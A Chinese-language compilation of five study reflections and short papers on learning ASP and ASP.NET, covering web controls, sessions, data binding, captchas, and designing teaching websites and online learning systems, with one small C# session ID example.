关键词: 教学
学习ASP(共6篇)
篇1:学习ASP
ASP.NET心得体会
经过两个多月的简单学习和上课听讲,初步掌握了ASP.NET动态网页制作的一些简单的知识和基本常识,也能从老师讲的基本知识中简单的应用一下上课所学到的知识,感觉ASP.NET网站建设和维护不是很方便,其中不仅要应用各种方面的知识还要对所学的知识学会变通使用,虽然会有一些成功的地方,但是,更多的是困惑,有太多的东西都不懂,以前学C++、数据库等一些相关知识的时候没好好学,现在想真正做好这个网站就显得不那么容易了。曾经看到网上有这么一句话,一个优秀的网络程序员不但要了解自己领域的一些专业技术,而且很多时候还要充当半个网络工程师,半个美术设计师和半个数据库管理员。照这么说来,我单单学习ASP.NET是远远不够的,还要学习计算机网络、美术设计、数据库,我很喜欢有关计算机方面的东西,认为我们当代的生活越来越离不开计算机,并且我也很痴迷计算机所带来的强大功能。
首先我们学习了怎么设计主页,一个好的主页可以给浏览者一个耳目一新的感觉,所以网站主页的布局就显得格外重要了,好的布局加上亲切的言语,以及强大的功能,都会是浏览者感到无比的亲切。这次我跟刘昕做的是乐糕网,一个粉红色的布局显出温馨的格调,其次我们添加了用户注册界面,同时应用了模板页,模板页嵌套在注册页面上,同时与主页的注册按钮相连接,在主页引用了CSS样式,使得格局更加清晰。之后我们做了在线投票页面,同样引用了模板页,同时学会了使用Cookie,Session的使用。做好这些功能之后,我们开始用到了数据库,要实现用户的存储和调用,以及商品信息的录入,同时对商品ID进行数据绑定,之后我们实现了购物车功能,使用 DataList控件实现了对后台代码文件中绑定其数据源,ASP,NET3.5提供的DataList控件使用模板显示内容,他允许每一行显示多条记录。可以使用HTML表对应模板项的呈现方式进行布局,从而控制各个单元格的顺序、方向和列数。在这之后我们又做了留言板,通过ADO.NET调用存储过程,做到了留言板功能的实现。前面所学到的数据访问都是Web应用程序直接访问数据库。这种在Web窗体中直接访问和操作数据库中数据的方式是一种低效的资源使用方式,并且有可能产生安全风险。通过存储过程访问数据库,可以有效地提高数据访问效率和数据的安全性。可以在执行复杂任务时减少窗体的编码量,降低对网络宽带的需求;通过只允许可信赖的本地存储过程直接访问数据库,可以保护数据库的安全。同时我们用到了一个容器控件Repeater,当运行页面时,Repeater将绑定数据源中的数据,并按照模板的要求将数据在界面上呈现出来。正是由于Repeater控件没有默认的外观,所以进行界面设计的时候会感到不太直观。但Repeater控件非常灵活,可以通过对模板的灵活使用,创建多种不同形式的列表,包括以特定分隔符的列表,或者XML格式的列表,同时它还能够非常精确地对界面元素进行定位。除此之外我们还添加了网络在线投票功能,网络在线投票是网络用户的兴趣、价值取向以及热点关注等信息的关注程度的一种体现,实现了在线投票功能,为了更为直观的显示和查看投票结果,将投票结果图形化是一种较好的手段。所以我们引用了一个类Graphics, Graphics类是GDI+图形编程中的核心类。他封装了GDI+界面的绘图方法以及图形显示设备,极大地的简化了开发人员的图形编程工程工作。通过Graphics类的属性可以获取Graphics对象的分辨率,并能够为Graphics对象进行裁剪区域的选择和判断,而页面中图形的绘制则都是通过Graphics类的实例方法实现,同时引用了Web服务器控件Image。Image控件同IMG标签一样,其主要作用是在Web页面中显现图片信息,其主要属性为ImageUrl,用于设置需要显示的图片的URL地址。尽管ASP.NET提供的Image控件可以快速地载入图形,但却并不支持Click事件。而且GDI+除了可以绘制图形和文字外,还可以绘制或编辑已有图片,为图片添加水印或裁剪图片等操作。在实际的Web应用开发中,开发人员为了防止非法用户恶意批量注册或者恶意程序暴力破解密码等操作,我们相应的做了图形验证码功能,在用户身份验证时都会采用验证码技术。验证码技术可以有效防止某些特定注册用户采用恶意程序和暴力破解方式对网站进行不断的登录尝试,为此我们引用了Random类,随即数在计算机应用程序设计,尤其是在实践环境模拟和测试等领域得到了非常广泛的应用。Random类是一个伪随即数生成器,能够产生满足一定随即性系统要求的数字序列。既然是伪随机数生成器,产生的数字就不是绝对的随即数,而是通过一定的算法产生的伪随机数。初始化一个随机数发生器有两种方法:第一种是不指定随即种子,系统自动选取当前时间作为随机种子,代码如下:Random rand=new Random();第二种方法是指定一个int型参数作为随即种子,代码如下:int iSeed=10;Random rand=new Random(10);我们还学习了ASP.NET的代码分离模式与无刷新技术,认识到了网站的真正的结构,最终才对BS结构的网站程序有了进一步的认识。同时,对SQL大型数据库的认识才有了质的改变。最后我们做了网络在线人数统计,完成了对乐购网网站的制作。
在这短短的几个月中,我知道在程序设计的时候,不要太在意程序是否最简洁灵活,对于一般开发者而言,程序规范化和可读性可能比追求程序的灵活性更加重要。在互联网资源越来越丰富的情况下,我们可以参考一些规范的程序源代码来学习。同时我也知道,想要学好这门课程,所要具备很多条件,首先打代码要规范,要做注释,这样回头来看程序时可以很快的看懂,一方面可以练习自己的逻辑表达能力,对以后遇到难以实现的功能也可以很好的表达出来向别人请教,而且出去从事编程工作的话,代码的规范是相当重要的。还有一点要学会总结,把自己做的程序用到的知识点列出来就可以很好的总结自己的知识点。当形成知识体系,对知识的理解就会更上一层楼。
刘向东 计软1001班
篇2:学习ASP
经过两个多月的学习和上课听讲,初步掌握了 ASP.NET 动态网页制作的一些简单的知识和基本常识,也能从老师讲的基本知识中应用一下上课所学到的知识,我从中学到了许多,ASP.NET的界面和逻辑分离,页面编写调试简单,Master Page 的东西很易用,给我在动态网站的制作中提供了许多方便。
ASP.NET是.NET FrameWork的一部分,是一项微软公司的技术,是一种使嵌入网页中的脚本可由因特网服务器执行的服务器端脚本技术,它可以在通过HTTP请求文档时再在Web服务器上动态创建它们。指 Active Server Pages(动态服务器页面),运行于 IIS(Internet Information Server 服务,是Windows开发的Web服务器)之中的程序。
(1)Web控件,就像对象一样,有自己的属性和方法。并且能够响应事件,只要Web控件包含在Web页面中,就可以设置属性调用方法了。
表现形式为:。(2)HTML控件,就是通常所说的HTML语言标记,不能在服务器端控制,只能通过脚本程序控制。值得注意的是,HTML控件可以通过修改代码将其变成服务器端控件,只要加上服务器控件标识属性runat=“server”即可。
表现形式为:(3)列表控件,重点是在“数据绑定”的知识点联系在一起。
(4)验证控件,充分体现了asp.net技术与客户端编程的优点,原来的编程验证数据的合法性,都是通过编码去实现,而asp.net提供了验证控件,大大简化了编码工作,易于实现。
Html控件:它是标准的Html标签。代码如下:[html] view plaincopyprint?01.
值得注意的是,HTML控件可以通过修改代码将其变成服务器端控件,几乎所有的HTML标记只要加上runat=“server”,这个服务器控件标识属性后都可以变成服务器端控件。这与普通HTML标记相比最大的区别在于,服务器端控件可以通过服务器端代码来控制。
Web控件:在这里,我们说的都是Web服务器控件。代码如下:[html] view plaincopyprint?01.txtUserName
txtUserName
它类似 HTML 服务器控件,同样在服务器创建,它在创建时默认有runat=“server” 属性。不过,Web 服务器控件不必映射任何已有的 HTML元素,它们可代表更复杂的元素。特点:(1).Web控件是对象,它与对象一样,拥有方法和属性,并且响应事件;(2)当Web控件包含在Web页中时,就可以设置其属性并调用其方法;(3)可以为Web控件编写服务器端代码以响应在客户端上发生的事件。
Web控件与Html控件的区别: 1.书写方面:显而易见,与Web 服务器控件相比,Html控件没有 asp标记前缀,而是使用Input。
(1)Web 控件:[html] view plaincopyprint?01.txtUserName txtUserName(2)Html控件:[html] view plaincopyprint?01.
; ;2.响应事件方面:(1)Web 控件:Web控件可以响应服务器端事件,可以在后台代码中设置相关属性和方法等;(2)Html控件:不可以响应服务器端事件,但是也是允许响应用户操作的事件的。例如,按钮控件提供在用户单击按钮时将引发的 click 事件。你可以创建一个称为事件处理程序的函数来处理该事件,然后向该控件注册此事件处理程序。关于如何注册此事件处理程序:一种方法是在HTML 中添加事件处理程序:将控件的事件属性设置为 JavaScript 事件处理程序函数或 JavaScript语句的名称。
3.编译处理方面:(1)Web 控件:Web控件需要通过服务器处理后译为HTML控件再发送给浏览器,所以比较耗费服务器资源,并由于有VIEWSTATE,所以在回送的时候会保持控件状态(也可以设置不保存)也因此增加了回送信息量。(2)Html控件:而Html控件则直接发送到浏览器,不另耗费服务器资源,但无状态保存!
4.获取值方面:(1)Web 控件:获得HTML控件的值
需要使用REQUEST的FORM 方法,(2)Html控件:WEB控件就可以直接通过属性直接处理!Response对象是用于把消息向页面上输出的内置对象,该对象用于向客户端浏览器发送数据,可以使用该对象将服务器的数据以HTML的格式发送到用户端的浏览器。常用方法一:Write方法---将文字输出到页面上常用方法二:Redirect方法---实现页面跳转(1)点击按钮来触发Button1_Click事件(2)使用Response.Redirect方法实现页面跳转(3)页面跳转,显示页面Request对象是用于提取浏览器中用户输入信息的内置对象。在使用这个内置对象时,用户信息可以通过表单提交,也可以直接用URL参数来提供,还可以通过环境变量来提供。
Application对象是用来在所有用户间共享信息,并且可以在程序运行期间持久的保持数据。通俗点举个例子来说,我们可以把网站当前的在线访问数量存储在此对象中。
ASP.NET的特点:1)可管理性:ASP.NET使用基于文本的、分级的配置系统,简化了将设置应用于服务器环境和Web应用程序的工作。因为配置信息是存储为纯文本的,因此可以在没有本地管理工具的帮助下应用新的设置。配置文件的任何变化都可以自动检测到并应用于应用程序。
2)安全:ASP.NET为Web应用程序提供了默认的授权和身份验证方案。开发人员可以根据应用程序的需要很容易地添加、删除或替换这些方案。
3)易于部署:通过简单地将必要的文件复制到服务器上,ASP.NET应用程序即可以部署到该服务器上。不需要重新启动服务器,甚至在部署或替换运行的已编译代码时也不需要重新启动。
4)增强的性能:ASP.NET是运行在服务器上的已编译代码。与传统的ActiveServerPages(ASP)不同,ASP.NET能利用早期绑定、实时(JIT)编译、本机和全新的缓存服务来提高性能。
5)灵活的输出缓存:根据应用程序的需要,ASP.NET可以缓存页数据、页的一部分或整个页。缓存的项目可以依赖于缓存中的文件或其他项目,或者可以根据过期策略进行刷新。
6)国际化:ASP.NET在内部使用Unicode以表示请求和响应数据。可以为每台计算机、每个目录和每页配置国际化设置。
7)移动设备支持:ASP.NET支持任何设备上的任何浏览器。开发人员使用与用于传统的桌面浏览器相同的编程技术来处理新的移动设备。
8)扩展性和可用性:ASP.NET被设计成可扩展的、具有特别专有的功能来提高群集的、多处理器环境的性能。此外,Internet信息服务(IIS)和ASP.NET运行时密切监视和管理进程,以便在一个进程出现异常时,可在该位置创建新的进程使应用程序继续处理请求。
9)跟踪和调试:ASP.NET提供了跟踪服务,该服务可在应用程序级别和页面级别调试过程中启用。可以选择查看页面的信息,或者使用应用程序级别的跟踪查看工具查看信息。在开发和应用程序处于生产状态时,ASP.NET支持使用.NETFramework调试工具进行本地和远程调试。当应用程序处于生产状态时,跟踪语句能够留在产品代码中而不会影响性能。
篇3:用ASP开发专题学习网站
1 关于专题学习网站
经过网络资源搜索和本人学习钻研后,理解专题学习网站为既进行专题探索,同时也进行网站开发,简单来说应该是一种基于计算机网络资源的研究性学习系统。可以针对一门课程,一个学习主题,或者多个相关的学习专题。把学习任务进行细分,既包括基本知识内容,拓展性的学习资源,可以进行有效交互的答疑反馈系统,再线测试考试系统等等。展示的方式结合多媒体技术,包括简单明了的说明性文本,生动有趣声音视频动化,同时结合该专题提供网络学习资源。它通常包括以下几个基本组成部分:
1.1 基本知识(专题介绍)
可以在网页上布局与学习专题相关的基础知识,把与相关课程的学习内容通过适当的文字说明、配套的图片图像资料、有趣的动画等知识结构化重组。结合本人开发的网站就是介绍与ASP这个学习主题相关的基本知识。
1.2 学习资源(专题拓展)
结合学习主题,进行更深入的探讨研究。可以提供跟该主题相关的网络学习资源;也可以把课堂授课过程制作成录像,让教学过程再现,实现有效的学习指导。结合开发的网站就是介绍几个比较权威的学习网站,对学习者进行拓展学习进行有效的指引,同时把相关的授课视频合理布局,增加一些拓展性的资料素材。
1.3 学习论坛(专题讨论)
三人行,必有我师,学习的过程更需要大家各抒己见。根据学习专题,构建网上学习论坛,在该论坛里,学习者可以对本专题广泛发表个人见解,同时也可以提出疑问,其他同学或者老师可以在线回答,及时给出有效的反馈和指导,彻底改变封闭学习的不良习惯。
1.4 测试系统(专题测试)
在进行主题学习资料收集与整理的同时,要广泛地收集与学习专题相关的思考性问题、形成性练习和总结性考查的评测资料,并经过合理的筛选,将其设计成基础性强、覆盖面广、难度适中的题库,让学习者能进行网上自我学习评价。在教学的过程中发现越来越多的学生做练习的时候更倾向于立刻给出反馈结果的测试素材。
在传统的教学活动过程中,大多数教师常用的多媒体课件类型主要是Office系统自带的Powerpoint,Word,Frontpage等。一方面因为Office软件在日常工作中较为普及,基本的软件应用系统都已经安装好,教师可以直接打开就用。另一方面Office软件制作课件比较方便、制作过程简单、所占据系统容量不大、移植性强易于运行、页面简洁且易于修改。也有部分教师使用Authorwere,Flash等进行多媒体课件的开发,但是大多数的课件都是把教学资料展示出来,缺乏有效的交互,就算在课堂上展示给学生看,充其量只能作为教案辅助教师授课,难以达到让学生自主学习,主动学习的效果。这样,课堂教学就激不起学生的学习兴趣,不利于发挥教师在课堂上的导学作用;课后,更难以吸引学生对学习内容进行查漏补缺或者做进一步的拓展,不利于培养学生的自主学习能力。在教学过程中常常出现这样的现象:学得快的同学完成任务之后在等待新知识;学得慢的同学跟不上老师的正常进度,学得稀里糊涂,特别是操作性的课程,这种问题更明显。如果在学习网站中添加重点难点的讲授过程录像,一些关键操作步骤制作成动画或录像,可以照顾到学得慢的同学,而拓展性的材料可以满足学得快的同学。同时有效的交互与反馈系统更能吸引学生的注意力。
当前,我们国家正大力推行新课程改革,而新的课程标准要求我们“突出学生主体,尊重个体差异;采用活动途径,倡导体验参与;开发课程资源,拓展学用渠道”。专题学习网站可以在传统课件基础上,适当增加重点难点的说明录像,关键步骤的操作动画,学习论坛,及有效的反馈系统,更好地实践新课标的理念。
2 专题学习网站的开发原则
2.1 教学性原则
专题学习网站是为了教学的需要而设计的,可以作为教师上课的依据,也可以作为学生自主学习的工具,因此,专题学习网站要能胜任这工作,网站设计的一切活动都是围绕这个中心来展开的。无论是确定主题,还是选择内容,或设计交互,制定评价指标等,都要围绕这个中心,否则,便不成其为学习网站。主题不能离开学习的专题,内容要适合教学对象,人机交互要友好,方便师生日常使用,能达到教与学的目标。
2.2 内容的整合性原则
专题学习网站是一个整合的学习系统,学习者能通过该网站,较为系统地对该专题进行学习,从而在该方面有较为全面的提高,所以网站设计的内容以专题为线索,融合多方面相关知识,在新的内容的基础上,进行知识和结构的重构,从而达到资源高度的整合。
2.3 功能的综合性原则
专题学习网站围绕某个主题展开深入研究,并提供必要的资源,学习者能够自主地深入学习该专题的知识,进行深度研究;还能够通过网站了解同学们的学习进度及学习效果,进行横向对比;也可以作为教师课前备课、上课过程及课后了解学生并优化后期教学的数字化平台,同时,还可以作为专业教学研究的依据,因此它集多种功能于一体,提高了资源的使用效率。
2.4 教学设计原则
专题学习网站高度重视教学设计,好的教学设计不仅方便教师授课过程进行有效地组织,更重要的作用是有效地引导学生进行自主学习,降低学习的难度,提高学习效率。所以,教学设计是一般教学的必要步骤,更是专题学习网站的必不可少的设计步骤。只要经过教学设计,才能更有效地确定知识表现形式和内容的组织结构,从而实现网站的设计目标。
3 用ASP进行专题学习网站的开发过程
在教学过程中发现学生学习的动力来源于明确的学习目的,也就是我学这个能做什么?学完之后能拿出一个什么东西出来?所以在ASP这门课程的教学过程中我设计了一下教学的方案。在两周的项目实训中,先演示真实的主题学习网站,让学生能明确什么是主题学习网站?然后确定用我们所学的知识开发一个关于ASP的主题学习网站。一方面学生学习目的明确,提高学生学习的兴趣;其次在做这个网站的时候更有利于学生对ASP相关的知识进行一次有效的梳理。
第一步,规划网站结构。确定网站的基本结构如图1。
第二步,制作静态页面。为了保持页面风格的一致性,使用外部链接CSS文件来规划页面的外观,同时可以通过利用DIV标签把每一个页面分为页眉(header.asp),主体和页脚(footer.asp)三部分,在每一个页面的页眉相应位置通过页面导入(include filename=“header.asp”);在每一个页面的页脚相应位置通过页面导入(include filename=“footer.asp”)主体部分根据主题不同而规划成index.asp(首页),content.asp(知识点展示),shipin.asp(视频素材),test.asp(考试测试系统),guest.asp(学习讨论论坛)。网页的基本格局如下:
中间部分,根据不同的页面作相应的修改
第三步:完善首页index.asp,在首页上对该专题内容进行简单介绍,布局学员登录及注册的表单。同时,后台完善数据库信息,包括学员信息表,在线学习监测表,论坛发言信息表,学习测试情况表等等。
第四步:布局content.asp把专题各部分的文字说明性资料利用多媒体技术,使其友好地展示出来,在适当的位置配合声音视频等多媒体元素。
第五步:整理所有的视频文件shipin.asp,明确的导航方便学员多次学习。
第六步:开发测试系统test.asp。
第七步:开发学习讨论论坛guest.asp。
后期工作就是对网站进行测试与修改,并对专题学习资料作进一步的完善。在使用的过程中坚持定期更新修改资料,使网站保持活力。
4 思考与拓展
本站点的建立是基于ASP课程的教学,为了使学生学习了该门课程之后有一个比较具体的学习成果也就是一个较为完整的网站。教师在授课之前就收集好相关的素材资料。一方面学生建立网站的过程会把相关理论知识进行梳理,另一方面灵活运用相关知识指导网站开发,提高动手能力。
完成该网站后,本人觉得应该可以做进一步的拓展,利用模板,并进一步优化数据库,使其他课程的老师可以充分利用该资源,不用进行复杂的网站开发,只要做简单的资料整理就可以实现完成一个功能齐全的专题学习网站。
同时,我们充分利用后台数据库,分析相关数据表的信息,可以挖掘出很多有用的信息资料,对于指导教师在以后的备课,进行教学设计都有很好的指导意义。
摘要:近年来网络技术高速发展,计算机辅助教学已经普遍存在于日常教学活动中,传统的展示性或资料性课件已经不能满足当前的教学需求。多媒体教学设备已经普遍存在于教室当中,学校基本普及校园网,网络技术不断推广,基于B/S模式的网页课件逐步成为教学活动的得力工具。同时,能实现交互的多媒体专题学习网站更能适合现代教育教学的发展。
关键词:专题学习网站,多媒体,数据库,交互性
参考文献
[1]高怡新.ASP动态网页设计[M].2版.北京:人民邮电出版社,2009.
[2]陈振华.计算机网络教学在中等职业教育中的应用[J].广东科技2008(6).
篇4:学习ASP
【关键词】校园学生;在线学习;系统设计;评价
0.引言
隨着科学技术的迅速发展,多媒体计算机技术在教育领域的应用越来越广泛,逐渐成为一种有效的教学媒体和教学管理工具,而结合网络进行远程教育则成为教育发展的一个新方向。基于网络的教学相对于传统教学而言具有诸多特性。师生可以突破时空的界限。学生可在任意时间、任意地点进行学习,教师可在任意时间、任意地点进行答疑,极大缩减了时间和空间距离,节省了教育资源。课程内容为非线性展示。教师、学生能够方便地访问世界范围的信息资源,为师生提供了有利的学习支持。
1.校园学生在线学习系统设计的应用技术及开发环境
1.1校园学生在线学习系统的教育环境
1.1.1非整合系统
非整合系统是当前基于Internet的工具在教育应用中最具有代表性。应用最广泛的一类,该类工具包括电邮列表,新闻组,静态网页,基于文本的会议,音频或视频会议以及白板。这些工具有特定的功能,它们的开发往往是为了独立地完成某一特定的任务,并且是在其它领域被广泛接受后才应用于教育领域。所以,有些工具并不是专门为教育应用而开发的,这也就使得这些工具在开发过程中可以作为商业软件和娱乐软件,从而获得可靠的开发资金。非整合系统的主要优点是允许教师为每一任务选择最好的应用软件。而整合系统则是通过为特定的课程选择一些功能比较完善的或功能不很完善的组件。
1.1.2基于Web的整合系统
“基于Web的整合系统”一词用于指在一个网页接口中整合两种或更多的基于Internet的学习工具,但并不是把他们合并到虚拟仿真世界当中。基于Web的整合系统实质上起到了粘合作用,通过该系统把普通的基于Internet的工具导入统一的接口中,该接口可以通过网页浏览器来访问。该系统的主要优点是:教师和学生减少了他们必须熟练而高效地使用的构成系统的工具组件的数量。与非整合系统比较,基于Web的整合系统的主要缺点是它不可能包括所有期望使用到的工具组件。①但是,整合系统可以在必要的时候利用非整合系统作为补充。
1.1.3虚拟世界系统
虚拟世界系统是最高级的整合教育环境,所有课程资料被作为对象嵌入物理仿真空间中,课程参与者可在其中操纵对象。用于教育的虚拟世界系统可提供3D接口,这些接口主要通过特定的网页浏览器来访问,同时提供嵌有基于文本的会议工具的2D实时交流网页。
1.2系统的开发环境
Microsoft Active Server Pages即ASP,是服务器端脚本开发环境。ASP内含于IIS5.0之中,通过ASP可以结合HTML网页、ASP指令和ActiveX元件建立动态、交互且高效的Web服务器应用程序。有了ASP就不必担心客户的浏览器是否能运行所编写的代码,因为所有的程序都将在服务器端执行,包括所有嵌在普通HTML中的脚本程序。当程序执行完毕后,服务器仅将执行的结果返回给客户浏览器,这样也就减轻了客户端浏览器的负担,大大提高交互的速度。
2.系统功能分析
2.1系统的设计思想
2.1.1实用性
要为校园学生教育提供方便。
2.1.2操作简单
本系统应适用于校园学生的使用者,同时系统不应太复杂,因此要求系统的操作尽可能简单易行。
2.2系统的主要模块及功能
在线学习系统共分为三个子系统:用户登陆与注册、教师子系统和学生子系统,其功能模块如图所示:
从学生学习、教师教学、在线交流、在线考试及系统维护管理设计该系统的主要功能,使教师可以通过该系统发布教案、发布公告、批改作业、解答疑问。学生可以通过该系统完成自学、向老师提出问题、跟老师和同学进行讨论、进行考试、查询成绩。
2.2.1登录系统子模块
登录模块类似于学籍管理系统。主要是提供给学习者、教师、管理员一个身份认证和权限认证的功能。在这个模块中系统为登录的用户注册并自动给出账号,对于登录过的用户,当输入账号和密码后,进行身份确认,根据身份的类型转入相应的界面。其中教师用户需要管理员的确认。
2.2.2知识提纲子模块
这个模块主要提供学习者学习内容。它包括了课程的各个知识点和重点、难点问题。学生主要是通过这个模块的学习来完成对课程基本知识的理解和掌握。知识点的划分,需要学科教师根据教学经验和大纲要求,来科学划分,各个知识点之间保持相对的完整和独立,学习内容专题化,每一点学习完毕后让学习者自己对这一部分的内容有完整的了解,明确学习目标。
2.2.3学习过程记录及查询子模块
对于每个登录系统的学员,可以记录他本人学习的状态,比如学过的内容、作业情况、考试情况、学习中学生的书签、讨论中的发言情况和认可程度等等。学生可以随时查询,获取自己学习效果的外部参照反馈,有利于学生对自己的学习状态作出调整,或向教师、教师助手或其他的学习者寻求帮助。
2.2.4学习资源在线子模块
学员学习仅依靠当前课程所提供的信息是不够的,还需要丰富的相关资源作补充。丰富的学习资源是虚拟学习中的有力支持和服务。学习者可以在资源库中获取自己感兴趣的信息,还可以从学生自己的学习产品中取得资源,来自于学生的资源更贴近学生的学习环境。另外,资源库还提供学员们学习课程的在线浏览和下载,以及相关课程的视频教学资源的在线学习和下载。
2.2.5在线答疑子模块
根据登录身份的不同,学习者和教师在答疑子模块中所拥有的权限也不同。教师可以浏览学生提出的问题,可以在必要的时候对学生提出的问题进行回答,也可以删除其中的一些记录。学习者则可以浏览所有提出的问题及答复,还可以提出自己的问题。另外,系统还提供有个人问题及留言的相关记录,供用户本人进行参考。
2.2.6在线讨论子模块(下转第49页)
(上接第71页)学习者在学习过程中如果遇到疑问,可以在在线答疑子模块中向指导教师求助,也可以和在线学习伙伴进行讨论来解决。在线讨论子模块是为学习者和学习伙伴进行交流而设置的场所。②除此之外,指导教师还可以就某些重要问题组织专题讨论。
2.2.7在线测试及作业子模块
在线测试子模块主要提供学习者自我测试的机会,及教师对其学习情况的较全面的综合掌握的机会。试题有一定的时间要求,对于学习者的成绩也会尽快给予反馈。在线作业可以让学生在学习期间对所学知识进行巩固和掌握。
3.校园学生在线学习系统设计
本系统采用ASP技术,ASP是位于服务器端的脚本运行环境,通过这种环境,用户可以创建和运行动态的交互式Web服务器应用程序,如交互式的动态网页,包括使用HTML表单收集和处理信息,上传与下载等等。ASP可利用ADO(Active Data 0bjec,微软的一种新的数据访问模型)方便快捷地访问数据库,从而使得开发基于WWW的应用系统成为可能。■
【参考文献】
[1]谢幼如,柯清超编著.网络课程的开发与应用[M].北京:北京师范大学出版社,电子工业出版社,2005.
篇5:ASP学习体会
InterDev开发工具,在1994年到2000年之间,ASP技术已经成为微软推展Windows NT 4.0平台的关键技术之一,数以万计的ASP网站也是这个时候开始如雨后春笋般的出现在网络上。它的简单以及高度可定制化的能力,也是它能迅速崛起的原因之一。
因为asp.net是基于通用语言的编译运行的程序,所以它的强大性和适应性,可以使它运行在Web应用软件开发者的几乎全部的平台上(笔者到现在为止只知道它只能用在Windows 2000/2003 Server/VISTA/7/XP/WIN7上)。通用语言的基本库,消息机制,数据接口的处理都能无缝的整合到asp.net的Web应用中。asp.net同时也是language-independent(语言独立化)的,所以,你可以选择一种最适合你的语言来编写你的程序,或者把你的程序用很多种语言来写,现在已经支持的有C#(C++和Java的结合体),VB,Jscript , C++、F++。将来,这样的多种程序语言协同工作的能力保护您现在的基于COM+开发的程序,能够完整的移植向asp.net。
asp.net一般分为两种开发语言,VB.NET和C#,C#相对比较常用,因为是.NET独有的语言,VB.NET则为以前VB程序设计,适合于以前VB程序员,如果新接触.NET,没有其他开发语言经验,建议直接学习C#即可。
asp.net使运行一些很平常的任务如表单的提交客户端的身份验证、分布系统和网站配置变得非常简单。例如asp.net页面构架允许你建立你自己的用户分界面,使其不同于常见的VB-Like界面。
asp.net使用一种字符基础的,分级的配置系统,虚拟服务器环境和应用程序的设置更加简单。因为配置信息都保存在简单文本中,新的设置有可能都不需要启动本地的管理员工具就可以实现。这种被称为“Zero Local Administration”的哲学观念使asp.net的基于应用的开发更加具体和快捷。一个asp.net的应用程序在一台服务器系统的安装只需要简单的拷贝一些必须的文件,不需要系统的重新启动,一切就是这么简单。多处理器环境的可靠性 asp.net已经被刻意设计成为一种可以用于多处理器的开发工具,它在多处理器的环境下用特殊的无缝连接技术,将很大的提高运行速度。即使你现在的asp.net应用软件是为一个处理器开发的,将来多处理器运行时不需要任何改变都能提高他们的效能,但现在的ASP却做不到这一点。自定义性和可扩展性 asp.net设计时考虑了让网站开发人员可以在自己的代码中自己定义“plug-in”的模块。这与原来的包含关系不同,asp.net可以加入自己定义的任何组件。网站程序的开发从来没有这么简单过。安全性基于Windows认证技术和每应用程序配置,你可以确保你的原
程序是绝对安全的。asp.net 的语法在很大程度上与 ASP 兼容,同时它还提供一种新的编程模型和结构,可生成伸缩性和稳定性更好的应用程序,并提供更好的安全保护。可以通过在现有 ASP 应用程序中逐渐添加 asp.net 功能,随时增强 ASP 应用程序的功能。asp.net 是一个已编译的、基于.NET 的环境,把基于通用语言的程序在服务器上运行。将程序在服务器端首次运行时进行编译,比ASP即时解释程序速度上要快很多.而且是可以用任何与.NET 兼容的语言(包括 Visual Basic.NET、C# 和 JScript.NET.)创作应用程序。另外,任何 asp.net 应用程序都可以使用整个.NET Framework。开发人员可以方便地获得这些技术的优点,其中包括托管的公共语言运行库环境、类型安全、继承等等。asp.net 可以无缝地与 WYSIWYG HTML 编辑器和其他编程工具(包括 Microsoft Visual Studio.NET)一起工作。这不仅使得 Web 开发更加方便,而且还能提供这些工具必须提供的所有优点,包括开发人员可以用来将服务器控件拖放到 Web 页的 GUI 和完全集成的调试支持。当创建 asp.net 应用程序时,开发人员可以使用 Web 窗体或 XML Web services,或以他们认为合适的任何方式进行组合。每个功能都能得到同一结构的支持,使您能够使用身份验证方案,缓存经常使用的数据,或者对应用程序的配置进行自定义.如果你从来没有开发过网站程序,那么这不适合你,你应该至少掌握一些HTML语言和简单的Web开发术语(不过我相信如果有兴趣的话是可以很快的掌握的)。你不需要先前的ASP开发经验(当然有经验更好),但是你必须了解交互式Web程序开发的概念,包含窗体,脚本,和数据接口的概念,如果你具备了这些条件的话,那么你就可以在asp.net的世界开始展翅高飞了。IIS指 Internet Information Services(因特网信息服务)
IIS同时也是 Windows NT 4.0 的可选组件此可选组件可通过因特网下载
asp.net不仅仅是 Active Server Page(ASP)的下一个版本,而且是一种建立在通用语言上的程序构架,能被用于一台Web服务器来建立强大的Web应用程序。asp.net提供许多比现在的Web开发模式强大的优势。
asp.net 运行的架构分为几个阶段: 在 IIS 与 Web 服务器中的消息流动阶段。在 asp.net 网页中的消息分派。在 asp.net 网页中的消息处理。
连接层级的对象是 Session,以浏览器的运行个体为识别单位,数据依浏览器的运行个体来储存,在浏览器的运行个体第一次连到应用程序时,asp.net会设置一个 Session ID,并且使用它来识别Session,每一个 Session 都是 ICollection与IEnumerate的实现,用 key 来识别数据值,并且具有时间的限制,若超出时限时服务器会自动清理掉,默认的 Session 时限为 20 分钟。Session ID 的算法是由 RNGCryptoServiceProvider(密码编译乱数产生器提供者)产生,并编码成一个 Session ID 字符串(例
如 anf4vuup3xiq0arjlqla2l55 这样的字符串)储存在服务器中,用以识别不同的 Session 个体。
为因应不同的用户端,asp.net 设计了不同的 Session ID 存放机制,像是旧式的浏览器或是行动用户端这种不支持本地储存cookie的设备时,asp.net 可以直接在 URL 中加上 Session ID 的识别,像是
http://.tw/(anf4vuup3xiq0arjlqla2l55)/profile.aspx 这样的 URL,可以由开发人员自行设置,或是使用 AutoDetect 设置来让 asp.net 自行判断要使用的 Session ID 存放方式。
Session ID 的产生方法可以由程序开发人员自定义,借由改写 SessionIDManager 的 CreateSessionID()方法来自定义。
using System;
using System.Configuration;
using System.Web.Configuration;
using System.Web;
using System.Web.SessionState;
namespace Samples.AspNet.Session{
public class GuidSessionIDManager : SessionIDManager {
public override string CreateSessionID(HttpContext context){return Guid.NewGuid().ToString();
}
public override bool Validate(string id){
try {
Guid testGuid = new Guid(id);
if(id == testGuid.ToString())return true;
}
catch { }
return false;
}
}
}
asp.net 是开发 Web 应用程序的基础架构(framework),除了它内部的运作方法外,对外也显露了许多的开发支持,让开发人员可以利用它来发展出许多强大的 Web 应用程序解决方案。
asp.net 最基础的底层为网页,网页由 System.Web.UI.Page 类来提供基础支持,包含了页面的事件以及对象绘制的引发点(Page 类本身是一个 HTTP Handler 的实现品)。asp.net 网页在微软的官方名称中,称为 Web Form,除了是要和Windows Forms作分别以外,同时也明白的刻划出了它的主要功能:“让开发人员能够像开发 Windows Forms 一样的方法来发展
Web 网页”。因此 asp.net Page 所要提供的功能就需要类似 Windows Forms 的窗体,每个 Web Form 都要有一个区块,所有的 asp.net 服务器控件都要放在这个区域中,这样才可以让 ViewState 等服务器控制能够顺畅的运作。
使用代码后置模式的设置时,可以让 asp.net 运行引擎在加载网页时,由代码后置参数取得对应的类信息,藉以使用 Reflection 的方式来运行后置的代码。
